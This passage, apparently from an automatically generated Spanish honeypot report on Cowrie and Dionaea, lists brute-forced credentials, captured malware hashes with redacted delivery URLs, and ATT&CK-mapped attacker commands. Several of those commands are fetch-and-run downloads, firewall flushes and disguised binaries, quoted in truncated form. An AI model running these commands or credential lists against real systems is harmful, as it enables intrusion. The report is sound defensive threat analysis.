root:toor | 165 |
admin:1234 | 143 |
ubuntu:ubuntu | 135 |
admin: | 131 |
5.4 Usuarios más buscados
| Usuario | Veces |
|---|---|
root | 55.675 |
admin | 7.301 |
ubuntu | 5.073 |
wallet | 2.822 |
user | 2.426 |
deploy | 2.324 |
crypto | 1.925 |
test | 1.476 |
mysql | 1.271 |
cloud | 1.056 |
node | 1.024 |
server | 996 |
docker | 895 |
debian | 778 |
panel | 753 |
postgres | 734 |
blockchain | 706 |
user1 | 654 |
pm2 | 647 |
guest | 614 |
bitcoin | 564 |
claude | 563 |
solana | 563 |
ftpuser | 543 |
ec2-user | 540 |
6. Malware capturado
Los dos señuelos juntos. El SHA-256 se calcula del fichero, no se da por bueno el nombre: Cowrie y Dionaea nombran sus capturas por su hash, pero eso es una convención y un respaldo hecho en caliente puede dejar un fichero a medias con el nombre entero.
| Qué era | Ficheros | Qué significa |
|---|---|---|
| artefacto | 16.805 | Líneas de syslog: es el /var/log/auth.log que el propio señuelo genera en cada sesión y persiste con Artifact(), que escribe en este mismo directorio. Salida nuestra, no captura |
| texto | 34 | Texto plano sin formato reconocible |
| vacío | 1 | Cero bytes |
6.1 Los más entregados
Ordenados por cuántas veces se entregó el mismo binario. Una muestra que llega cientos de veces desde decenas de IPs es una campaña; una que llega una sola vez suele ser una prueba.
| SHA-256 (calculado) | MD5 | Señuelo | Tipo | Bytes | Entregas | IPs distintas | URL | Publicado |
|---|---|---|---|---|---|---|---|---|
f6c97b1e2ed02578ca10… | 3849f30b51a5 | Cowrie | ELF | 137.480 | 6.938 | 50 | http://<IP-CN-054>:37040/i | sí |
4293c1d8574dc87c5836… | 59ce0baba118 | Cowrie | ELF | 135.784 | 5.681 | 44 | http://<IP-PK-028>:46913/bin.sh | sí |
12013662c71da69de977… | eec5c6c21953 | Cowrie | ELF | 307.960 | 4.532 | 34 | http://<IP-PH-001>:44395/i | sí |
3c060e8c70da8634814e… | 8614baad7be3 | Cowrie | ELF | 135.785 | 760 | 11 | - | sí |
94990cc87f4fc49c54cd… | 0f620f09be06 | Cowrie | ELF | 137.481 | 251 | 4 | - | sí |
a6296a79f44e21b76604… | e7a5b5247aef | Cowrie | script | 306 | 191 | 166 | http://<IP-NL-024>/wget | no |
84030c2aa04a54c25edb… | 8d85f3625bd3 | Dionaea | PE | 5.298.176 | 153 | 131 | - | sí |
b5cf68c7cb5bb2d21d60… | a73ddd6ec224 | Cowrie | ELF | 135.472 | 144 | 3 | http://<IP-CN-055>:58232/i | sí |
acd0712ea85c759020b4… | 880d819bdadd | Cowrie | ELF | 307.961 | 92 | 6 | - | sí |
d0df38cd4febaa3f20da… | 1c7eb62ee673 | Dionaea | PE | 5.298.176 | 79 | 72 | - | sí |
8429bc3f819bae0b2aa6… | 7ecd3b8fbf1d | Dionaea | PE | 5.298.176 | 68 | 62 | - | sí |
f0aa83bbbd2c75e2f71e… | 1f47ecc10bc0 | Cowrie | ELF | 1.989.056 | 54 | 1 | - | sí |
8e1a67a5c03b3cd818f0… | 8e7e88377aae | Cowrie | ELF | 1.838.060 | 54 | 1 | - | sí |
3f3bf218089d1488617d… | 117dd0c3e5b3 | Cowrie | ELF | 1.759.768 | 54 | 1 | - | sí |
d1cac82f44b54b0fd244… | 0e0328dc8084 | Cowrie | ELF | 1.696.412 | 54 | 1 | - | sí |
d70f917e35813a7ae323… | 1ed17cd8d521 | Cowrie | ELF | 1.448.252 | 54 | 1 | - | sí |
1e70b63472772e3f5092… | 224b41af1717 | Cowrie | script | 2.126 | 54 | 1 | - | sí |
3f3a11bafabb1a35db91… | 2ca1a863f6a1 | Cowrie | script | 1.157 | 54 | 1 | - | sí |
39be6853a8204ce6455a… | 9e3b46f7626b | Cowrie | script | 3.241 | 52 | 1 | http://<IP-NL-029>/bins/kla.sh | sí |
9eacc45bc8c6a2e4954e… | 88789a1cc82d | Dionaea | PE | 5.298.176 | 48 | 44 | - | sí |
2cebccdc2ee874420152… | 952a13dd6161 | Cowrie | ELF | 192.328 | 38 | 1 | http://<IP-NL-029>/bins/net.x8… | sí |
4f4f30d07cc0ed90a92e… | a554260842be | Dionaea | PE | 5.298.176 | 34 | 27 | - | sí |
77e6a584064432eb4d9e… | 1af87674ad8b | Dionaea | PE | 5.298.176 | 30 | 26 | - | sí |
3362653be0698bc4350a… | e52961e85075 | Dionaea | PE | 5.298.176 | 27 | 24 | - | sí |
f30601be8c2b6d0c0c58… | 8f243b919437 | Dionaea | PE | 5.298.176 | 25 | 25 | - | sí |
6.2 Agrupados por tamaño
Decenas de binarios distintos que pesan casi lo mismo suelen ser el mismo programa recompilado con variaciones de unos bytes. Por eso el número de muestras distintas engaña si se lee como número de familias.
| Tamaño aproximado | Binarios distintos |
|---|---|
| 5.174 KB | 394 |
| 1 KB | 25 |
| 0 KB | 14 |
| 2 KB | 7 |
| 4 KB | 6 |
| 64 KB | 5 |
| 3 KB | 4 |
| 132 KB | 4 |
394 de los 537 binarios distintos (73,4%) pesan exactamente 5.298.176 bytes, no parecido: el mismo número al byte, con 394 hashes distintos. Contarlos como 537 muestras distintas es correcto; leerlos como 537 programas distintos, no.
6.3 Quién sirve el malware, y además ataca
La URL de origen de una muestra dice de dónde se la bajó el señuelo. Estas direcciones aparecen ahí y en la lista de atacantes: se conectaron ellas mismas y, además, sirvieron el binario a otras. Eso apunta a la infraestructura de quien dirige el ataque, más que a una máquina infectada que alguien usa de paso.
| IP que sirve | País | Muestras | Entregas | IPs en cuyas sesiones se descargó | Su propia actividad |
|---|---|---|---|---|---|
<IP-NL-024> | NL 🇳🇱 | 1 | 191 | 166 | 176 sesiones · 8.587 órdenes |
<IP-NL-029> | NL 🇳🇱 | 3 | 104 | 1 | 84 sesiones · 255 órdenes |
<IP-DZ-001> | DZ 🇩🇿 | 1 | 20 | 2 | 12 conexiones a Dionaea |
<IP-SI-003> | SI 🇸🇮 | 5 | 6 | 6 | 6 sesiones · 566 órdenes |
<IP-NL-030> | NL 🇳🇱 | 1 | 1 | 1 | 1 sesión · 1 orden |
<IP-NL-027> | NL 🇳🇱 | 1 | 1 | 1 | 1 sesión · 2 órdenes |
7. TTPs
La conducta y los recuentos son observados. La columna ATT&CK es inferida: es nuestra lectura de esa conducta, y sale de ANALISIS/ttp.tsv.
| Conducta observada | Veces | IPs | Ejemplo | ATT&CK (inferido) |
|---|---|---|---|---|
| Fuerza bruta por adivinación de contraseña | 141.598 | 2.514 | - | T1110.001 |
| Cambio de permisos de fichero en Linux | 37.637 | 550 | >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>… | T1222.002 |
| Transferencia de herramientas al objetivo | 132.578 | 526 | /bin/busybox wget;/bin/busybox echo -ne '\x4f… | T1105 |
| Borrado de ficheros | 33.425 | 514 | >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>… | T1070.004 |
| Ejecución por el usuario de un fichero malicioso | 33.771 | 447 | >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>… | T1204.002 |
| Ficheros o información ofuscados | 72.663 | 441 | >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>… | T1027 |
| Cuentas válidas | 1.870 | 348 | - | T1078 |
| Descubrimiento de información del sistema | 2.393 | 165 | uname=$(uname -s -v -n -m 2>/dev/null || /bin… | T1082 |
| Intérprete de órdenes de Unix | 598 | 117 | filter_output=$( ( export LANG=C LC_ALL=C; ec… | T1059.004 |
| Descubrimiento del usuario del sistema | 64 | 55 | id | T1033 |
| Descubrimiento de cuentas locales | 58 | 51 | cat /etc/passwd | T1087.001 |
| Descubrimiento de procesos | 30 | 28 | ps -ef | grep '[Mm]iner' | T1057 |
| Descubrimiento de la configuración de red | 19 | 19 | ifconfig | T1016 |
| Desactivar o modificar el cortafuegos | 13 | 11 | iptables -F | T1562.004 |
| Suplantación por nombre o ubicación | 9 | 9 | chmod +x ./.<HEX>/sshd;nohup ./.<HEX>/sshd <I… | T1036.005 |
| Descubrimiento de servicios de red | 14 | 2 | apt-get install masscan -y | T1046 |
| Sudo y cacheo de sudo | 7 | 2 | sudo apt-get update -y | T1548.003 |
| Manipulación de claves autorizadas de SSH | 54 | 1 | chmod +x clean.sh; sh clean.sh; rm -rf clean.… | T1098.004 |
| Intérprete de Python | 3 | 1 | python3 -c "import urllib.request; urllib.req… | T1059.006 |
| Protocolo de capa no aplicativa | 2 | 1 | nohup $SHELL -c "curl <URL> -o /tmp/925iFKXna… | T1095 |
| Parada de servicio | 1 | 1 | systemctl stop $svc >/dev/null 2>&1 | T1489 |
| Servicio de systemd | 1 | 1 | systemctl daemon-reload >/dev/null 2>&1 | T1543.002 |
7.1 Órdenes sin técnica asignada
No casan con ninguna fila de ttp.tsv. Merecen una mirada: o son ruido, o son una técnica que falta por añadir. Esta tabla es la lista de tareas de la tabla de técnicas.
| Orden | Veces |
|---|---|
system | 68.822 |
linuxshell | 68.538 |
start | 65.582 |
config terminal | 65.582 |
enable | 34.430 |
sh | 34.415 |
su | 32.799 |
cp /bin/ls ii | 10.986 |
cat i > ii | 10.986 |
cp ii i | 10.986 |
rm ii | 10.986 |
rm i | 5.622 |
shell | 3.222 |
enablelinuxshell | 1.012 |
/bin/busybox | 719 |
ping ;sh | 529 |
rm /dev/.t; rm /dev/.sh; rm /dev/.human | 500 |
cd /proc && cat self/cmdline | 335 |
esac | 333 |
/bin/busybox UNSTABLE | 247 |
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:… | 243 |
printf | 243 |
done | 182 |
cd /dev/ | 179 |
rm /run/lock/.t; rm /run/lock/.sh; rm /run/lock/.human | 178 |
\x00; el rombo � no se puede deshacer: lo escribe Cowrie al decodificar los bytes del atacante antes de anotarlos, así que cuando el informe lee el registro el byte original ya no existe. Lo que se perdió, se perdió en la captura y no aquí.7.2 Lo que no se ha visto
Estas conductas se buscaron y no aparecieron ni una vez. No es lo mismo que no haberlas mirado: ttp.tsv es la lista de lo que este informe sabe reconocer, y estas son las filas que se quedaron a cero.
| Conducta que no aparece | ATT&CK |
|---|---|
| Descubrimiento de software de seguridad | T1518.001 |
| Descubrimiento de conexiones de red | T1049 |
| Descubrimiento de ficheros y directorios | T1083 |
| Evasión por detección de depurador o virtualización | T1622 |
| Tarea programada con cron | T1053.003 |
| Arranque por perfil de shell | T1546.004 |
| Creación de cuenta local | T1136.001 |
| Borrado del historial de órdenes | T1070.003 |
| Desactivar herramientas de seguridad | T1562.001 |
| Descifrado o decodificación de ficheros | T1140 |
| Claves privadas | T1552.004 |
| Credenciales en ficheros | T1552.001 |
| Secuestro de recursos | T1496 |
| Secuestro de recursos | T1496 |
| Puerto no estándar | T1571 |
| Explotación para escalada de privilegios | T1068 |
Que no aparezca no prueba que no ocurriera, solo que no dejó rastro reconocible en lo que este señuelo puede ver. Un Cowrie no observa movimiento lateral ni persistencia real porque no hay a dónde moverse ni dónde quedarse.
8. Dionaea: qué se toca por el lado Windows
| Servicio | Puerto | Conexiones | IPs |
|---|---|---|---|
| smbd | 445 | 308.856 | 2.093 |
| mssqld | 1433 | 5.440 | 671 |
| epmapper | 135 | 1.397 | 447 |
8.1 Quién más insiste
| IP | País | Conexiones |
|---|---|---|
<IP-RU-004> | RU 🇷🇺 | 20.391 |
<IP-IN-006> | IN 🇮🇳 | 11.821 |
<IP-RU-014> | RU 🇷🇺 | 11.041 |
<IP-CN-056> | CN 🇨🇳 | 11.028 |
<IP-RU-003> | RU 🇷🇺 | 11.021 |
<IP-CN-057> | CN 🇨🇳 | 11.012 |
<IP-CN-063> | CN 🇨🇳 | 11.009 |
<IP-EG-001> | EG 🇪🇬 | 11.007 |
<IP-IR-001> | IR 🇮🇷 | 9.461 |
<IP-BR-008> | BR 🇧🇷 | 7.833 |
<IP-BO-001> | BO 🇧🇴 | 3.335 |
<IP-ZA-005> | ZA 🇿🇦 | 3.161 |
<IP-RU-005> | RU 🇷🇺 | 3.149 |
<IP-CN-058> | CN 🇨🇳 | 3.147 |
<IP-TR-003> | TR 🇹🇷 | 3.130 |
<IP-TN-001> | TN 🇹🇳 | 3.123 |
<IP-RU-006> | RU 🇷🇺 | 3.120 |
<IP-RU-007> | RU 🇷🇺 | 3.119 |
<IP-TR-004> | TR 🇹🇷 | 3.118 |
<IP-VN-006> | VN 🇻🇳 | 3.118 |
<IP-LB-001> | LB 🇱🇧 | 3.116 |
<IP-VN-004> | VN 🇻🇳 | 3.116 |
<IP-TW-004> | TW 🇹🇼 | 3.115 |
<IP-LV-001> | LV 🇱🇻 | 3.114 |
<IP-SA-002> | SA 🇸🇦 | 3.113 |
A. De dónde salen los datos
Una sección vacía más arriba puede significar dos cosas distintas: que no hubo actividad, o que el fichero no estaba en el respaldo. Esta tabla las separa.
| Fuente | Qué | Está | Detalle |
|---|---|---|---|
| Sesiones de Cowrie | cowrie.json* | sí | 31 ficheros, 1,75 GB |
| Malware de Cowrie | lib/cowrie/downloads/ | sí | 54.064 ficheros |
| Eventos de Dionaea | dionaea.sqlite | sí | 1 fichero, 81,1 MB |
| Malware de Dionaea | lib/dionaea/binaries/ | sí | 442 ficheros |
| Estado del reporter | state.sqlite3 | sí | 1 fichero, 282,8 MB |
| Memoria del bot | cowrie_telegram_state.json | sí | 1 fichero, 1,6 MB |
| Reglas del cortafuegos | nftables-ruleset | sí | 1 fichero, 0 B |
A.1 Y qué hay en el directorio de capturas de Cowrie
| Qué es | Ficheros | Qué significa |
|---|---|---|
| Capturas | 16.935 | Ficheros con nombre SHA-256: esto sí es malware capturado |
| Sondas de escritura | 36.260 | Ficheros de 0 bytes que deja Cowrie cuando el atacante redirige la salida a un fichero para ver si puede escribir (por ejemplo >/var/run/.x). No son muestras: son la huella de una prueba para encontrar un directorio escribible |
| Temporales | 152 | Restos de tempfile |
| Otros | 717 | Sin clasificar |
A.2 Cómo se ha hecho este informe
Para que esto se pueda repetir y comprobar: de dónde salieron los datos, con qué se leyeron y qué hay exactamente dentro de cada fuente. Los hashes son de los ficheros del respaldo tal como estaban al leerlos.
| Qué | Valor |
|---|---|
| Respaldo analizado | respaldo |
| Orden que lo generó | analisis.py --respaldo respaldo --salida analisis-senuelo-202… |
| Herramienta | analisis.py · SHA-256 c3d0e0fe443d9ee33a8c47014e93747f… |
| Entorno | Python 3.12.3 en linux |
| Generado | 2026-09-21 10:57:05 UTC |
| Huso aplicado a Cowrie | Europe/Kyiv |
| Fuente | Patrón | Qué hay | SHA-256 |
|---|---|---|---|
| Sesiones de Cowrie | cowrie.json* | 31 ficheros · 1,75 GB | bd339628cb67cba83027599e594cd33f… |
| Malware de Cowrie | lib/cowrie/downloads/ | 54.064 ficheros | el SHA-256 de cada uno se calcula aparte (ver "Malware capturado") |
| Eventos de Dionaea | dionaea.sqlite | 1 fichero · 81,1 MB | 23b65991439f2461ec9c979a44c4de5f… |
| Malware de Dionaea | lib/dionaea/binaries/ | 442 ficheros | el SHA-256 de cada uno se calcula aparte (ver "Malware capturado") |
| Estado del reporter | state.sqlite3 | 1 fichero · 282,8 MB | d14b537dd8a79db8651faec8cb6ce4fd… |
| Memoria del bot | cowrie_telegram_state.json | 1 fichero · 1,6 MB | b82674b6243772cc25e86d97d84ec170… |
| Reglas del cortafuegos | nftables-ruleset | 1 fichero · 12,1 KB | 01dce91bd22a47186bcd7f15cd606e3b… |
Cuando una fuente son varios ficheros, el hash de la tabla es el de la lista ordenada de sus hashes: exactamente lo que sale de sha256sum FICHEROS | sort | sha256sum en la carpeta del respaldo. No es el hash de ningún fichero concreto; los individuales están aquí debajo.
Los 31 ficheros de Sesiones de Cowrie, uno a uno
5e236d469c2456c86bfed34192d99ae4525f395e2bdcaccb784b5acea8991932 cowrie.json faabe867fd2b1f2cfd78ab4f8ade2b6a42c48e4cf33400c70d7851630c2d2355 cowrie.json.2026-08-22 eb660cdc25226f62d3f2aa0dce5540ed814c0b9c5b1c33a1e433121c2a2529ec cowrie.json.2026-08-23 ee415ad9ef44ddfc61a7d1fe2ca4c604b61159c1c693de8c83e9261f0c775ec3 cowrie.json.2026-08-24 3d944cb320eafcc79d92a3158b964de60f02cb0ba5d65a340c6d44814606bfbc cowrie.json.2026-08-25 c2ec7b17c4da5b93523ffbd3c4a000dba35b6f32ee1548bd7236b551bd333fb5 cowrie.json.2026-08-26 04eb871e55683ed02a0dab542c4bd266e0f7f5851be98d88907d3fbda746afe6 cowrie.json.2026-08-27 75c95058f2e58ab817604db3a3cae53f485c87d3edb62483c8498fe684f4eb17 cowrie.json.2026-08-28 15c72d88be9e99f08dbc96c16574f9bad8a5213b2721d908fe3c1e6f31302f45 cowrie.json.2026-08-29 0e827fe64f73a9925f495febb3d14691ce726cb79a4279375f05cb0973668fe7 cowrie.json.2026-08-30 078202e84d2452eff2d193684e7806b34cdef66826d2a9851b962221addf388c cowrie.json.2026-08-31 0b6199adb5d512eccebfc1aa2f03bb9961e80d775831ddea5b267e36ca013159 cowrie.json.2026-09-01 41bb5ecf4abf67c3eca7d81541aae5bdae6e42bf86464a62765fb000b3efe40d cowrie.json.2026-09-02 201691f1a5fd8b39461a33467af68491e02f8ecd1c0344a930997efdfcfbd444 cowrie.json.2026-09-03 8ba19580dafea800891dc5bff343ab5b70c3f686fbd0c0832545a2542554d21c cowrie.json.2026-09-04 14f36bfb65e5154c58c737745b8939057a486aeb3c97a6c03dd9e2459d92842b cowrie.json.2026-09-05 d29867ee1a48dc16a7d1c3c4455c08e89af617d8723219a40148f765aaa62f85 cowrie.json.2026-09-06 744cd33acc0622305fcec3c9656cd0d8337f0c067c8174101a18e4049fff38aa cowrie.json.2026-09-07 2ad505c6f8bb7645025ae6dfce6f123d352e46ef7bb80c47b03c6c6e5a942faf cowrie.json.2026-09-08 5a0f583be0ccc1f477fd9a9aed426f0c7b08de4fdad9d00cee95ba68baddb5b4 cowrie.json.2026-09-09 d45406c366979bc0538a877755c5ae79f9ce5b2e85a6195726d99c75f12c03f0 cowrie.json.2026-09-10 5c1852b1924a70756b950e0fd9e1e73fa7eba7514344b8a8c1290ecf74b3ffc1 cowrie.json.2026-09-11 8e83fa6b332ce560ab5dcc863f5b582bac1a69a774b772475a3d1bf8f4a3b42c cowrie.json.2026-09-12 d12b6a33b944c47c74ed64bec695f2c56ca1bed5831c6faa9e96dc176cd7606d cowrie.json.2026-09-13 1ad37c6606cb0dd3195afb312812796d204e7246d859d8d00a05318f58e5f639 cowrie.json.2026-09-14 1e3ba057e53c3164ae379c38f332e6068dd635dfb9e99c16eedcf327b8528433 cowrie.json.2026-09-15 f6ad461959481ade00e7cb6ff7cddb3cc725f34355b3a1333c4bd7012ad4b5f2 cowrie.json.2026-09-16 ef8389f0a4470ce5d2cbac58f5fc0f5d1bb8612d3499cb7f7dbe4a9188a27a31 cowrie.json.2026-09-17 ec3499d988d4b190ea4c64f003aafa29c2287f3dcd69e1afa152a0305f791ed1 cowrie.json.2026-09-18 49cc09a4a6dcb58b71d21e99e3fbb60ef33f7a95af83059cd101c41b837b1aca cowrie.json.2026-09-19 efff93e5a4684f2ed5fdba5d6fa382118e2aab4e648f74cea33b059d715c5c98 cowrie.json.2026-09-20
Con el mismo respaldo y la misma herramienta, las cifras salen iguales: lo único que cambia entre dos ejecuciones es la marca de generación de arriba.